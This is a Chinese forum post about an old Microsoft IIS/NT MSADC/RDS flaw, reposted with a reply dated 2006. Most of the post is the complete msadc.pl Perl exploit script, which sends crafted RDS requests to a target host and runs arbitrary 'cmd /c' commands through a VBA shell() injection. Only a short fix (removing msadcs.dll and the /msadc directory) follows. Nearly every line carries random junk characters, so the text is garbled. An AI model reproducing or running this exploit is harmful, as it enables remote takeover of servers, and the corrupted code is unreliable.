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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _|{pO7x]oG  
S->Sp  
涉及程序: 5VN~?#K  
Microsoft NT server NfCo)C-t  
s2+_`Ogg  
描述: -HFyNk]>  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 jfa<32`0E  
94rx4"AN8;  
详细: N45@)s!F9j  
如果你没有时间读详细内容的话,就删除: uE#i3( J  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Bq,Pk5b  
有关的安全问题就没有了。 pqbKPpG  
ZGd7e.u=  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #g Rns  
rO,n~|YJ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7B)@ aUj$  
关于利用ODBC远程漏洞的描述,请参看: d5W =?  
b%j4W)Z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm uy=<n5`oNG  
#D+.z)iZn  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 PB{5C*Y7^k  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp DxP65wU  
$*9:a3>zny  
这里不再论述。 /hGu42YG  
. Eb=KG  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: cgQ2Wo7tCq  
V4gvKWc  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset qyBo|AQ5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! * ^\u%Ir"  
w*4sT+ P  
sR$/z9w  
#将下面这段保存为txt文件,然后: "perl -x 文件名" aU] nh. a  
&e4EZ  
#!perl AeW_W0j  
# D rouEm  
# MSADC/RDS 'usage' (aka exploit) script yyjgPbLN=  
# <$ nMqUu0  
# by rain.forest.puppy Wb{8WPS  
# **n109R  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1lv. @-  
# beta test and find errors! lIatM@gU  
8{Wh4~|+  
use Socket; use Getopt::Std; niCq`!  
getopts("e:vd:h:XR", \%args); sQ82(N7l  
4}^\&K&t{  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; # 9ZO1\  
)x&>Cf<,  
if (!defined $args{h} && !defined $args{R}) { -s:NF;"  
print qq~ j&,%v+x  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /.1h_[K]  
-h <host> = host you want to scan (ip or domain) &<5oDdC  
-d <seconds> = delay between calls, default 1 second k8ymOx  
-X = dump Index Server path table, if available wpJfP_H  
-v = verbose N..@}}  
-e = external dictionary file for step 5 iM{aRFL  
h{VGh kU9f  
Or a -R will resume a command session p-%m/d?  
&?SU3@3|  
~; exit;} O#b%&s"o  
y]%Io]!d  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; M7AUY#)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !r_2b! dy  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} t. kOR<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); myWa>Mvb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} (w, Gv-S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } h4? 'd+K  
;e ^`r;]  
if (!defined $args{R}){ $ret = &has_msadc; iD!]I$  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 2-u9%  
Bf6\KI<V2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 'uF"O"*  
. "cmd /c "; E`UEl$($  
$in=<STDIN>; chomp $in; nOUF<DNQ  
$command="cmd /c " . $in ; !\1Pu|  
k*= #XbX  
if (defined $args{R}) {&load; exit;} @RI\CqFHR  
RD'i(szi?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ' sTMUPg`  
&try_btcustmr; J]4Uh_>)  
B3&`/{u  
print "\nStep 2: Trying to make our own DSN..."; Ha20g/ UN.  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; t9m08K:Y  
t>(}LV.  
print "\nStep 3: Trying known DSNs..."; g=n /w  
&known_dsn; =xsTVT;sj  
8u#2M8.5E  
print "\nStep 4: Trying known .mdbs..."; ]kyGm2Ty9  
&known_mdb; Fop'm))C8  
. ,n>#lL  
if (defined $args{e}){ U_C 1GT-|  
print "\nStep 5: Trying dictionary of DSN names..."; ioS(;2F  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } VpmD1YSn  
CN<EgNt1kN  
print "Sorry Charley...maybe next time?\n"; i@#fyU)[G  
exit; $"]*,=-X  
AtW<e;!0te  
############################################################################## W%^;:YQ9i  
K)r|oW=6Y  
sub sendraw { # ripped and modded from whisker p v*n.U6  
sleep($delay); # it's a DoS on the server! At least on mine... $n@B:kv5p  
my ($pstr)=@_; L)j<;{J/Q0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MFm2p?zPm  
die("Socket problems\n"); !%%(o%bi~  
if(connect(S,pack "SnA4x8",2,80,$target)){ K-drN)o  
select(S); $|=1; +OC~y:  
print $pstr; my @in=<S>; q`^ T7  
select(STDOUT); close(S); E >lW'  
return @in; d;O4)8 >  
} else { die("Can't connect...\n"); }} O;?Nz:/q  
uu+)r  
############################################################################## *.F4?i2D  
use` y^c  
sub make_header { # make the HTTP request ptEChoZ6  
my $msadc=<<EOT h1.<\GO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #=\nuT'oy  
User-Agent: ACTIVEDATA /#I~iYPe  
Host: $ip uiIS4S_  
Content-Length: $clen 80;^]l   
Connection: Keep-Alive lcYjwA  
Z</.Ss 4  
ADCClientVersion:01.06 x 2Cp{+}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 &+zS4)UK  
&)v}oHy,m  
--!ADM!ROX!YOUR!WORLD! Sn!5/9Y  
Content-Type: application/x-varg |KLCO'x  
Content-Length: $reqlen 2h5L#\H"  
_Kf8,|+  
EOT e.jbFSnA  
; $msadc=~s/\n/\r\n/g; V+&C_PyC  
return $msadc;} ~V6wcXd  
n(tx'&U"R  
############################################################################## L:E?tR}H  
eT6T@C](  
sub make_req { # make the RDS request FA3YiX(-e  
my ($switch, $p1, $p2)=@_; !omf>CW;ud  
my $req=""; my $t1, $t2, $query, $dsn; 0JM`*f%n  
Cmj+>$')0  
if ($switch==1){ # this is the btcustmr.mdb query "8sB,$  
$query="Select * from Customers where City=" . make_shell(); 7S]<?>*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . .DG`~Fpk  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} UY$Lqe~  
7F@#6  
elsif ($switch==2){ # this is general make table query tzV^.QWm  
$query="create table AZZ (B int, C varchar(10))"; 5VR=D\j  
$dsn="$p1";} qz6@'1  
K#!c<Li#  
elsif ($switch==3){ # this is general exploit table query .bvEE  
$query="select * from AZZ where C=" . make_shell(); FEwPLViso  
$dsn="$p1";} {kNV|E  
N(=Z4Nk5  
elsif ($switch==4){ # attempt to hork file info from index server ap|$8 G  
$query="select path from scope()"; T_/ n#e  
$dsn="Provider=MSIDXS;";} 0l+[[ZTV  
H4"'&A7$  
elsif ($switch==5){ # bad query s2*~n_B  
$query="select"; !rZ r:@  
$dsn="$p1";} y0_z_S#gO  
r!e:sJAB.  
$t1= make_unicode($query); WCUaXvw  
$t2= make_unicode($dsn); xfK@tLEZ-1  
$req = "\x02\x00\x03\x00"; ptMDhMVW  
$req.= "\x08\x00" . pack ("S1", length($t1)); r: -,qy  
$req.= "\x00\x00" . $t1 ; iininITOS{  
$req.= "\x08\x00" . pack ("S1", length($t2)); Hx#1TqC /  
$req.= "\x00\x00" . $t2 ; yHYK,3/C,  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,,HoD~]rd  
return $req;} &-zW1wf  
L| K8  
############################################################################## zW9/[Db  
&ku.Q3xGs  
sub make_shell { # this makes the shell() statement +nU=)x?38  
return "'|shell(\"$command\")|'";} ~ NZC0&  
s_}q  
############################################################################## >7,?X_:A-1  
5-?*Boi>i  
sub make_unicode { # quick little function to convert to unicode My<.^~  
my ($in)=@_; my $out; 2D)B%nM[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 'B yB1NL  
return $out;} It:,8  
6%L#FSI  
############################################################################## X([p0W 9V(  
:` >bh  
sub rdo_success { # checks for RDO return success (this is kludge) {j[a'Gb  
my (@in) = @_; my $base=content_start(@in); JBk >|q"  
if($in[$base]=~/multipart\/mixed/){ 7 tQ?av  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8@A}.:  
return 0;} wU(!fw\  
b>]k=zd  
############################################################################## ^ DCBL&I  
]@{l<ExP  
sub make_dsn { # this makes a DSN for us 9oQ$w?=#$  
my @drives=("c","d","e","f"); PT39VI =  
print "\nMaking DSN: "; )0?u_Z]w9  
foreach $drive (@drives) { -]<<}@NF  
print "$drive: "; Q4ZKgcC  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . @id!F<+%oD  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AjD? _DPc  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z9Nial`p  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <%?!3 n*  
return 0 if $2 eq "404"; # not found/doesn't exist c"lblt5  
if($2 eq "200") { vR4omB{  
foreach $line (@results) { 7!/!a*zg  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} e?_uJh"  
} return 0;} = P$Q;d  
W$xW9u8@+(  
############################################################################## F4PWL|1  
t Z@OAPRx  
sub verify_exists { {4eI} p<  
my ($page)=@_; {H3B1*Dk  
my @results=sendraw("GET $page HTTP/1.0\n\n"); i F \H  
return $results[0];} `z$=J"%? y  
i5cK5MaD  
############################################################################## j: E3c\a  
=z!/:M  
sub try_btcustmr { unc8WXW  
my @drives=("c","d","e","f"); L<k(stx~  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 46U*70  
RQYD#4|  
foreach $dir (@dirs) { o1R:1!"2  
print "$dir -> "; # fun status so you can see progress c2Wp 8l  
foreach $drive (@drives) { MSE0z !t  
print "$drive: "; # ditto {t!Pv 2y<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; S SfNI>  
$reqlenlen=length( "$reqlen" ); d <RJH  
$clen= 206 + $reqlenlen + $reqlen; w@WPp0mny  
Fv<3VKueK[  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); _N:GZLG  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} UM2yv6:/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} =[,EFkU?B  
MdhD "Q  
############################################################################## Q zp!)i  
RQ;w$I\  
sub odbc_error { $Y M(NC  
my (@in)=@_; my $base; C#n.hgo>I  
my $base = content_start(@in); tMH 2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this M|fC2[]v B  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B`)TRt+'.  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *alifdp  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {Z1KU8tp  
return $in[$base+4].$in[$base+5].$in[$base+6];} dU-nE5  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; zX]l$Q+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . .d6b ?t  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 7%Ou6P$^fr  
DE+k'8\T  
############################################################################## UCj{ &  
fp}5QUm-  
sub verbose { QmMA]Q  
my ($in)=@_; yz"hU  
return if !$verbose; 5mX^{V&^  
print STDOUT "\n$in\n";} YC(X= D  
wxJoWbn  
############################################################################## <99/7>#  
.}Eckqkp  
sub save { 4~Y?*|G]m  
my ($p1, $p2, $p3, $p4)=@_; NOmFQ)/ &  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; nNf*Q r%Z  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *7w!~mn[m  
close OUT;} Hk'R!X  
/U} )mdFm  
############################################################################## <G'M/IR a  
.FN 6/N\  
sub load { W ", yq|  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b=5ZfhIg[  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~n$\[rQ  
@p=<IN>; close(IN); .03Rp5+v  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); tUt_Q;%yC  
$target= inet_aton($ip) || die("inet_aton problems"); p3>Md?e  
print "Resuming to $ip ..."; Tp|>(~;ai  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Y]7 6y>|e  
if($p[1]==1) { bFSs{\zE  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; (3~^zwA  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Lp(i&A  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); I4KE@H"%7  
if (rdo_success(@results)){print "Success!\n";} aW}d=y[  
else { print "failed\n"; verbose(odbc_error(@results));}} 7'#_uA QR  
elsif ($p[1]==3){ R3>c\mA  
if(run_query("$p[3]")){ XRHngW_A  
print "Success!\n";} else { print "failed\n"; }} uPxJwWXO  
elsif ($p[1]==4){ `{m,&[ n  
if(run_query($drvst . "$p[3]")){  !# zO%  
print "Success!\n"; } else { print "failed\n"; }} ~~=]_lwyK%  
exit;} C80< L5\  
b +Z/nfS  
############################################################################## Ahc9HA2  
D8{ ,}@  
sub create_table { U }AIOtUw  
my ($in)=@_; ?L0|$#Iw  
$reqlen=length( make_req(2,$in,"") ) - 28; X`J86G)  
$reqlenlen=length( "$reqlen" ); B*t1Y<>x  
$clen= 206 + $reqlenlen + $reqlen; *s<cgPKJ @  
my @results=sendraw(make_header() . make_req(2,$in,"")); G1\F7A  
return 1 if rdo_success(@results); vCXmu_S4^>  
my $temp= odbc_error(@results); verbose($temp); V(8,94vm  
return 1 if $temp=~/Table 'AZZ' already exists/; j^WYM r,  
return 0;} j+rY  
t1G__5wp  
############################################################################## M| Nh(kvH  
9kB R/{  
sub known_dsn { |o+*Iy)  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go b 0qA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [H{@<*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", U#&+n-npO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Kr[oP3  
s4QCun~m  
foreach $dSn (@dsns) { 4H NaE{O4  
print "."; B]vR=F}*  
next if (!is_access("DSN=$dSn")); *;xGH  
if(create_table("DSN=$dSn")){ ns *:mGh  
print "$dSn successful\n"; #SG.`J<%  
if(run_query("DSN=$dSn")){ 3y,2RernK  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @biU@[D  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -+M360  
o)>iHzR</  
############################################################################## i"x V=.  
,FXc_BCx4  
sub is_access { !zvOCAb,  
my ($in)=@_; K|l}+:k  
$reqlen=length( make_req(5,$in,"") ) - 28; *[m:4\  
$reqlenlen=length( "$reqlen" ); y/:%S2za>  
$clen= 206 + $reqlenlen + $reqlen; d!4TwpIgx  
my @results=sendraw(make_header() . make_req(5,$in,"")); (z8 ;J> 7  
my $temp= odbc_error(@results); R7K`9 c1f6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); I~^Xw7  
return 0;} !XM<`H/  
uE<8L(*B  
############################################################################## ^B%c3U$o  
g"k4Z  
sub run_query { c*]f#yr?  
my ($in)=@_; gcB hEw  
$reqlen=length( make_req(3,$in,"") ) - 28; ^b|I^TN0  
$reqlenlen=length( "$reqlen" ); =<7z :]  
$clen= 206 + $reqlenlen + $reqlen; |a a\t  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^G2M4+W|  
return 1 if rdo_success(@results); SM%/pu;  
my $temp= odbc_error(@results); verbose($temp); D.Cn`O}  
return 0;} jm@,Ihz=wI  
];"40/X  
############################################################################## ecQ{ePoU  
e!o\AB%d  
sub known_mdb { g{i= $xc  
my @drives=("c","d","e","f","g"); N {~P}Sw  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wGw~ F:z  
my $dir, $drive, $mdb; }+bo?~2E&  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; dJ#go*Gn  
/qMnIo  
# this is sparse, because I don't know of many TOF V`7q;3  
my @sysmdbs=( "\\catroot\\icatalog.mdb", RwYFBc  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", j"hEs(t  
"\\system32\\certmdb.mdb", S3i p?9  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *^Ges;5 $"  
9bM kP2w>  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", c9o]w8p/  
"\\cfusion\\cfapps\\forums\\forums_.mdb", \uZ|2WG`  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 8|<</v8i  
"\\cfusion\\cfapps\\security\\realm_.mdb", =[&+R9s  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", MnZljB  
"\\cfusion\\database\\cfexamples.mdb", o ABrhK  
"\\cfusion\\database\\cfsnippets.mdb", _)~1'tCs}h  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", F'sX ^/;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ]uMZvAjb  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Yh!=mW!OY  
"\\cfusion\\database\\smpolicy.mdb", U#]J5'i  
"\\cfusion\\database\cypress.mdb", B :S8{  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", de)4)EzUP  
"\\website\\cgi-win\\dbsample.mdb", c;Tp_e@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", x,]x>Up  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" U\B9Ab  
); #these are just _P!b0x~\  
foreach $drive (@drives) { ('Qq"cn#  
foreach $dir (@dirs){ 'S9o!hb'@  
foreach $mdb (@sysmdbs) { f6yj\qq]  
print "."; cm_5,wB(w  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ c61OT@dZEA  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; `/`iLso& -  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ aL*MCgb'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; [Eccj`\e g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ep?D;g  
U._fb=  
foreach $drive (@drives) { 0ju-l= w  
foreach $mdb (@mdbs) { LU+SuVm  
print "."; Bpm COA  
if(create_table($drv . $drive . $dir . $mdb)){ 24k]X`/n  
print "\n" . $drive . $dir . $mdb . " successful\n"; '*65j  
if(run_query($drv . $drive . $dir . $mdb)){ dKCl#~LAI'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 3)ox8,{%}  
} else { print "Something's borked. Use verbose next time\n"; }}}} %8|lAMTY7/  
} -gk2$P-  
TukhGgmF  
##############################################################################  J]XLWAM  
t!SxJ B e  
sub hork_idx { WeaT42*Q{  
print "\nAttempting to dump Index Server tables...\n"; H#D:'B j29  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,zr9*t  
$reqlen=length( make_req(4,"","") ) - 28; 7M7Lj0Y)L  
$reqlenlen=length( "$reqlen" ); 8/(}Wet  
$clen= 206 + $reqlenlen + $reqlen; >l><d!hw  
my @results=sendraw2(make_header() . make_req(4,"","")); wdfbl_`T  
if (rdo_success(@results)){ iQ(j_i'+!I  
my $max=@results; my $c; my %d; _pZ <  
for($c=19; $c<$max; $c++){ A[^#8evaK  
$results[$c]=~s/\x00//g; dor1(@no|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; k ,ldi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G+Z ,i c  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,Yx<"2 W  
$d{"$1$2"}="";} #b;k+<n[X  
foreach $c (keys %d){ print "$c\n"; } mRRZ/m?A(  
} else {print "Index server doesn't seem to be installed.\n"; }} E;{CoL  
|h 6!bt!=  
############################################################################## vA!IcDP"  
:Ae#+([V  
sub dsn_dict { `^[Tu 1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {<@ud0A:\  
while(<IN>){ .\T!oSb4[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^67}&O^1 ,  
next if (!is_access("DSN=$dSn")); l0`bseN <  
if(create_table("DSN=$dSn")){ m//aAxmB  
print "$dSn successful\n"; T9& {s-3*  
if(run_query("DSN=$dSn")){ b@8z+,_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { iKV|~7nwO  
print "Something's borked. Use verbose next time\n";}}} Zv!XNc!"$y  
print "\n"; close(IN);} ;`LG WT-<F  
,$ /Ld76U  
############################################################################## 5I1YB+$}e  
nRB3VsL  
sub sendraw2 { # ripped and modded from whisker  R*2N\2  
sleep($delay); # it's a DoS on the server! At least on mine... JxwKTFU'3O  
my ($pstr)=@_; !J<Xel {  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 21tv(x  
die("Socket problems\n"); KYw7Jx`l  
if(connect(S,pack "SnA4x8",2,80,$target)){  iY$iL<  
print "Connected. Getting data"; E56  
open(OUT,">raw.out"); my @in; 6'kQ(r>  
select(S); $|=1; print $pstr; 0$c(<+D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} e ar:`11z  
close(OUT); select(STDOUT); close(S); return @in; @@U  
} else { die("Can't connect...\n"); }} ]s0wJD=  
ZCj1Cz]"l<  
############################################################################## SyI~iW#Y1  
Qt {){uE  
sub content_start { # this will take in the server headers iTq&h=(n  
my (@in)=@_; my $c; tt2 S.j  
for ($c=1;$c<500;$c++) { 9ghzK?Yc  
if($in[$c] =~/^\x0d\x0a/){ X"d"a={]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } y3 b"'-%  
else { return $c+1; }}} m4oj1h_4  
return -1;} # it should never get here actually tmq?h%O>  
}:c~5whN  
############################################################################## 4V4S5V  
@@K/0:],  
sub funky { Vdx o  
my (@in)=@_; my $error=odbc_error(@in); `r-Jy{!y4  
if($error=~/ADO could not find the specified provider/){ v JGH8$%;,  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; /huh}&NNu  
exit;} FCEmg0qdjD  
if($error=~/A Handler is required/){ "Y L^j~A  
print "\nServer has custom handler filters (they most likely are patched)\n"; t?-a JU  
exit;} r'#!w3*Cy  
if($error=~/specified Handler has denied Access/){ O.X;w<F/V  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;@ixrj0u  
exit;}} rZpsC}C'  
0j4n1 1#  
############################################################################## A|1xK90^XT  
KCbJ^Rln  
sub has_msadc { >'q]ypA1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); frPQi{u$  
my $base=content_start(@results); Z3c\}HLY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); j>;1jzr2}  
return 0;} .rO~a.kG  
2bTS, N/>  
######################## syg{qtBz^  
3e^0W_>6  
0(Y,Q(JTo&  
解决方案: = FV12(U  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V6[jhdb  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 d2i ?FT>  
e8dZR3JL  
拿出来充数 哈哈
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